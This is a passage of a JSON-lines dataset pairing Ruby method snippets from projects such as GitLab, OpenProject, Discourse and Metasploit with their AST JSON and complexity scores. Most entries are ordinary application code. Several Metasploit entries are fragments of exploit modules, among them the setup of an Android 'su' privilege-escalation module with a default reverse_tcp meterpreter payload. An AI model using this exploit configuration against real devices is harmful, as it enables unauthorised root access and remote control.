end","complexity_score":31.2,"ast_json":"{\"type\":\"def\",\"children\":[\"instance_review_params\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"instance_review\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"email\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"email\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"last_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"version\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Gitlab\"]},\"VERSION\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"CurrentSettings\"]},\"usage_ping_enabled?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Usage\"]},\"ServicePingReport\"]},\"for\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"output\"]},{\"type\":\"sym\",\"children\":[\"all_metrics_values\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"cached\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"counts\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"counts\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"instance_review\"]}]},\"merge!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"users_count\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"active_user_count\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"projects_count\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"counts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"projects\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"groups_count\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"counts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"groups\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"issues_count\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"counts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"issues\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"merge_requests_count\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"counts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"merge_requests\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"internal_pipelines_count\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"counts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"ci_internal_pipelines\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"external_pipelines_count\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"counts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"ci_external_pipelines\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"labels_count\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"counts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"labels\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"milestones_count\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"counts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"milestones\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"snippets_count\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"counts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"snippets\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"notes_count\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"counts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"notes\"]}]}]}]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"to_query\"]}]}]}","id":"c418faac-b245-4133-9947-000f63ab6a31"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/post/meterpreter/extensions/stdapi/railgun/railgun.rb","start_line":135,"raw_source":"def util\n    if @util.nil?\n      @util = Util.new(self, client.native_arch)\n    end\n\n    return @util\n  end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"util\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@util\"]},\"nil?\"]},{\"type\":\"ivasgn\",\"children\":[\"@util\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Util\"]},\"new\",{\"type\":\"self\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client\"]},\"native_arch\"]}]}]},null]},{\"type\":\"return\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@util\"]}]}]}]}","id":"68c212fa-61c0-4c3a-b230-78c973a05c15"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/post_migrate/20241008140221_add_epic_work_item_parent_link_constraints.rb","start_line":16,"raw_source":"def down\n    remove_concurrent_index_by_name :epics, INDEX_NAME\n    remove_foreign_key_if_exists :epics, column: :work_item_parent_link_id\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"down\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"remove_concurrent_index_by_name\",{\"type\":\"sym\",\"children\":[\"epics\"]},{\"type\":\"const\",\"children\":[null,\"INDEX_NAME\"]}]},{\"type\":\"send\",\"children\":[null,\"remove_foreign_key_if_exists\",{\"type\":\"sym\",\"children\":[\"epics\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"column\"]},{\"type\":\"sym\",\"children\":[\"work_item_parent_link_id\"]}]}]}]}]}]}","id":"2341f969-69ea-4ac3-9569-005f294c9b8d"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/controllers/activities_controller.rb","start_line":117,"raw_source":"def respond_atom\n    title = t(:label_activity)\n    if @author\n      title = @author.name\n    elsif @activity.scope.size == 1\n      title = t(\"label_#{@activity.scope.first.singularize}_plural\")\n    end\n    render_feed(@events, title: \"#{@project || Setting.app_title}: #{title}\")\n  end","complexity_score":21.23,"ast_json":"{\"type\":\"def\",\"children\":[\"respond_atom\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"title\",{\"type\":\"send\",\"children\":[null,\"t\",{\"type\":\"sym\",\"children\":[\"label_activity\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@author\"]},{\"type\":\"lvasgn\",\"children\":[\"title\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@author\"]},\"name\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@activity\"]},\"scope\"]},\"size\"]},\"==\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"lvasgn\",\"children\":[\"title\",{\"type\":\"send\",\"children\":[null,\"t\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"label_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@activity\"]},\"scope\"]},\"first\"]},\"singularize\"]}]},{\"type\":\"str\",\"children\":[\"_plural\"]}]}]}]},null]}]},{\"type\":\"send\",\"children\":[null,\"render_feed\",{\"type\":\"ivar\",\"children\":[\"@events\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@project\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Setting\"]},\"app_title\"]}]}]},{\"type\":\"str\",\"children\":[\": \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"title\"]}]}]}]}]}]}]}]}","id":"a49c4c7b-4c62-4aa7-aa63-7c2614a9d8ca"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/local/cve_2022_21999_spoolfool_privesc.rb","start_line":130,"raw_source":"def target_is_server?\n    version = get_version_info\n    version.windows_server?\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"target_is_server?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"version\",{\"type\":\"send\",\"children\":[null,\"get_version_info\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version\"]},\"windows_server?\"]}]}]}","id":"1a88aec8-3d7f-43af-8255-b5a26d976448"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/ci/generate_terraform_reports_service.rb","start_line":10,"raw_source":"def execute(base_pipeline, head_pipeline)\n      {\n        status: :parsed,\n        key: key(base_pipeline, head_pipeline),\n        data: head_pipeline.terraform_reports.plans\n      }\n    rescue StandardError => e\n      Gitlab::ErrorTracking.track_exception(e, project_id: project.id)\n      {\n        status: :error,\n        key: key(base_pipeline, head_pipeline),\n        status_reason: _('An error occurred while fetching terraform reports.')\n      }\n    end","complexity_score":11.7,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"base_pipeline\"]},{\"type\":\"arg\",\"children\":[\"head_pipeline\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"parsed\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"send\",\"children\":[null,\"key\",{\"type\":\"lvar\",\"children\":[\"base_pipeline\"]},{\"type\":\"lvar\",\"children\":[\"head_pipeline\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"data\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"head_pipeline\"]},\"terraform_reports\"]},\"plans\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"ErrorTracking\"]},\"track_exception\",{\"type\":\"lvar\",\"children\":[\"e\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"id\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"error\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"send\",\"children\":[null,\"key\",{\"type\":\"lvar\",\"children\":[\"base_pipeline\"]},{\"type\":\"lvar\",\"children\":[\"head_pipeline\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status_reason\"]},{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"An error occurred while fetching terraform reports.\"]}]}]}]}]}]},null]}]}","id":"e6b730e0-97c8-4c0b-87f8-889834f703b9"}
{"repo_name":"doorkeeper","file_path":"./repos/doorkeeper/lib/doorkeeper/rails/routes.rb","start_line":70,"raw_source":"def revoke_routes(mapping)\n        routes.post \"revoke\", controller: mapping[:controllers], action: :revoke\n      end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"revoke_routes\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"mapping\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"routes\"]},\"post\",{\"type\":\"str\",\"children\":[\"revoke\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"controller\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mapping\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"controllers\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"sym\",\"children\":[\"revoke\"]}]}]}]}]}","id":"de6e9cd5-2716-43c4-aaeb-d59d2db57a53"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/mixins/relationship_mixin.rb","start_line":201,"raw_source":"def is_root?\n    return call_ancestry_method(:is_root?) if use_ancestry?\n\n    rel = relationship # TODO: Handle a node that is a root and a node at the same time\n    rel.nil? ? true : rel.is_root?\n  end","complexity_score":8.2,"ast_json":"{\"type\":\"def\",\"children\":[\"is_root?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"use_ancestry?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"call_ancestry_method\",{\"type\":\"sym\",\"children\":[\"is_root?\"]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"rel\",{\"type\":\"send\",\"children\":[null,\"relationship\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rel\"]},\"nil?\"]},{\"type\":\"true\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rel\"]},\"is_root?\"]}]}]}]}","id":"7bd17851-11ac-4ada-9609-0223b6c152db"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-microsoft-auth/spec/integration/microsoft_auth_spec.rb","start_line":11,"raw_source":"def setup_ms_emails_stub(email:)\n    stub_request(:get, \"https://graph.microsoft.com/v1.0/me\").with(\n      headers: {\n        \"Authorization\" => \"Bearer #{access_token}\",\n      },\n    ).to_return(\n      status: 200,\n      body:\n        JSON.dump(\n          businessPhones: [\"+1 425 555 0109\"],\n          displayName: \"Adele Vance\",\n          givenName: \"Adele\",\n          jobTitle: \"Retail Manager\",\n          mail: email,\n          mobilePhone: \"+1 425 555 0109\",\n          officeLocation: \"18/2111\",\n          preferredLanguage: \"en-US\",\n          surname: \"Vance\",\n          userPrincipalName: email,\n          id: \"87d349ed-44d7-43e1-9a83-5f2406dee5bd\",\n        ),\n      headers: {\n        \"Content-Type\" => \"application/json\",\n      },\n    )\n  end","complexity_score":6.5,"ast_json":"{\"type\":\"def\",\"children\":[\"setup_ms_emails_stub\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"email\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"stub_request\",{\"type\":\"sym\",\"children\":[\"get\"]},{\"type\":\"str\",\"children\":[\"https://graph.microsoft.com/v1.0/me\"]}]},\"with\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"headers\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Authorization\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Bearer \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"access_token\"]}]}]}]}]}]}]}]},\"to_return\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"int\",\"children\":[200]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"body\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JSON\"]},\"dump\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"businessPhones\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"+1 425 555 0109\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"displayName\"]},{\"type\":\"str\",\"children\":[\"Adele Vance\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"givenName\"]},{\"type\":\"str\",\"children\":[\"Adele\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"jobTitle\"]},{\"type\":\"str\",\"children\":[\"Retail Manager\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mail\"]},{\"type\":\"lvar\",\"children\":[\"email\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mobilePhone\"]},{\"type\":\"str\",\"children\":[\"+1 425 555 0109\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"officeLocation\"]},{\"type\":\"str\",\"children\":[\"18/2111\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"preferredLanguage\"]},{\"type\":\"str\",\"children\":[\"en-US\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"surname\"]},{\"type\":\"str\",\"children\":[\"Vance\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"userPrincipalName\"]},{\"type\":\"lvar\",\"children\":[\"email\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"str\",\"children\":[\"87d349ed-44d7-43e1-9a83-5f2406dee5bd\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"headers\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Content-Type\"]},{\"type\":\"str\",\"children\":[\"application/json\"]}]}]}]}]}]}]}","id":"a0689a5a-4d8b-425c-90f0-5a831de08529"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/migrate/20251016172762_create_designated_beneficiaries_table.rb","start_line":6,"raw_source":"def up\n    create_table :designated_beneficiaries do |t| # rubocop:disable Migration/EnsureFactoryForTable -- False positive\n      t.references :user, null: false, index: true, foreign_key: { on_delete: :cascade }\n      t.datetime_with_timezone :created_at, null: false, default: -> { 'CURRENT_TIMESTAMP' }\n      t.datetime_with_timezone :updated_at, null: false, default: -> { 'CURRENT_TIMESTAMP' }\n      t.integer :type, null: false, limit: 2\n      t.text :name, null: false, limit: 255\n      t.text :relationship, limit: 255\n      t.text :email, limit: 255\n    end\n  end","complexity_score":14.6,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_table\",{\"type\":\"sym\",\"children\":[\"designated_beneficiaries\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"references\",{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"index\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"foreign_key\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"on_delete\"]},{\"type\":\"sym\",\"children\":[\"cascade\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"datetime_with_timezone\",{\"type\":\"sym\",\"children\":[\"created_at\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"str\",\"children\":[\"CURRENT_TIMESTAMP\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"datetime_with_timezone\",{\"type\":\"sym\",\"children\":[\"updated_at\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"str\",\"children\":[\"CURRENT_TIMESTAMP\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"integer\",{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"limit\"]},{\"type\":\"int\",\"children\":[2]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"text\",{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"limit\"]},{\"type\":\"int\",\"children\":[255]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"text\",{\"type\":\"sym\",\"children\":[\"relationship\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"limit\"]},{\"type\":\"int\",\"children\":[255]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"text\",{\"type\":\"sym\",\"children\":[\"email\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"limit\"]},{\"type\":\"int\",\"children\":[255]}]}]}]}]}]}]}","id":"64ced878-4140-47a8-8814-316c63a305fd"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/concerns/timebox.rb","start_line":129,"raw_source":"def title=(value)\n    write_attribute(:title, sanitize_title(value)) if value.present?\n  end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"title=\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"present?\"]},{\"type\":\"send\",\"children\":[null,\"write_attribute\",{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"send\",\"children\":[null,\"sanitize_title\",{\"type\":\"lvar\",\"children\":[\"value\"]}]}]},null]}]}","id":"01c52376-f41f-46f3-9005-a6e60214882f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/api/pypi_packages.rb","start_line":103,"raw_source":"def validate_fips!\n        unprocessable_entity! if declared_params[:sha256_digest].blank?\n\n        true\n      end","complexity_score":5.7,"ast_json":"{\"type\":\"def\",\"children\":[\"validate_fips!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"declared_params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"sha256_digest\"]}]},\"blank?\"]},{\"type\":\"send\",\"children\":[null,\"unprocessable_entity!\"]},null]},{\"type\":\"true\",\"children\":[]}]}]}","id":"557089a0-0b9e-48dc-a7cd-3bf8d6f608e9"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/android/local/su_exec.rb","start_line":13,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        {\n          'Name' => \"Android 'su' Privilege Escalation\",\n          'Description' => %q{\n            This module uses the su binary present on rooted devices to run\n            a payload as root.\n\n            A rooted Android device will contain a su binary (often linked with\n            an application) that allows the user to run commands as root.\n            This module will use the su binary to execute a command stager\n            as root. The command stager will write a payload binary to a\n            temporary directory, make it executable, execute it in the background,\n            and finally delete the executable.\n\n            On most devices the su binary will pop-up a prompt on the device\n            asking the user for permission.\n          },\n          'Author' => 'timwr',\n          'License' => MSF_LICENSE,\n          'DisclosureDate' => '2017-08-31',\n          'SessionTypes' => [ 'meterpreter', 'shell' ],\n          'Platform' => [ 'android', 'linux' ],\n          'Arch' => [ ARCH_AARCH64, ARCH_ARMLE, ARCH_X86, ARCH_X64, ARCH_MIPSLE ],\n          'Targets' => [\n            ['aarch64', { 'Arch' => ARCH_AARCH64 }],\n            ['armle', { 'Arch' => ARCH_ARMLE }],\n            ['x86', { 'Arch' => ARCH_X86 }],\n            ['x64', { 'Arch' => ARCH_X64 }],\n            ['mipsle', { 'Arch' => ARCH_MIPSLE }]\n          ],\n          'DefaultOptions' => {\n            'PAYLOAD' => 'linux/aarch64/meterpreter/reverse_tcp',\n            'WfsDelay' => 5\n          },\n          'DefaultTarget' => 0,\n          'Notes' => {\n            'SideEffects' => [ ARTIFACTS_ON_DISK ],\n            'Reliability' => [ REPEATABLE_SESSION ],\n            'Stability' => [ CRASH_SAFE ]\n          }\n        }\n      )\n    )\n    register_options([\n      OptString.new('SU_BINARY', [true, 'The su binary to execute to obtain root', 'su']),\n      OptString.new('WritableDir', [true, 'Writable directory', '/data/local/tmp/']),\n    ])\n  end","complexity_score":6.7,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Android 'su' Privilege Escalation\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"            This module uses the su binary present on rooted devices to run\\n\"]},{\"type\":\"str\",\"children\":[\"            a payload as root.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"            A rooted Android device will contain a su binary (often linked with\\n\"]},{\"type\":\"str\",\"children\":[\"            an application) that allows the user to run commands as root.\\n\"]},{\"type\":\"str\",\"children\":[\"            This module will use the su binary to execute a command stager\\n\"]},{\"type\":\"str\",\"children\":[\"            as root. The command stager will write a payload binary to a\\n\"]},{\"type\":\"str\",\"children\":[\"            temporary directory, make it executable, execute it in the background,\\n\"]},{\"type\":\"str\",\"children\":[\"            and finally delete the executable.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"            On most devices the su binary will pop-up a prompt on the device\\n\"]},{\"type\":\"str\",\"children\":[\"            asking the user for permission.\\n\"]},{\"type\":\"str\",\"children\":[\"          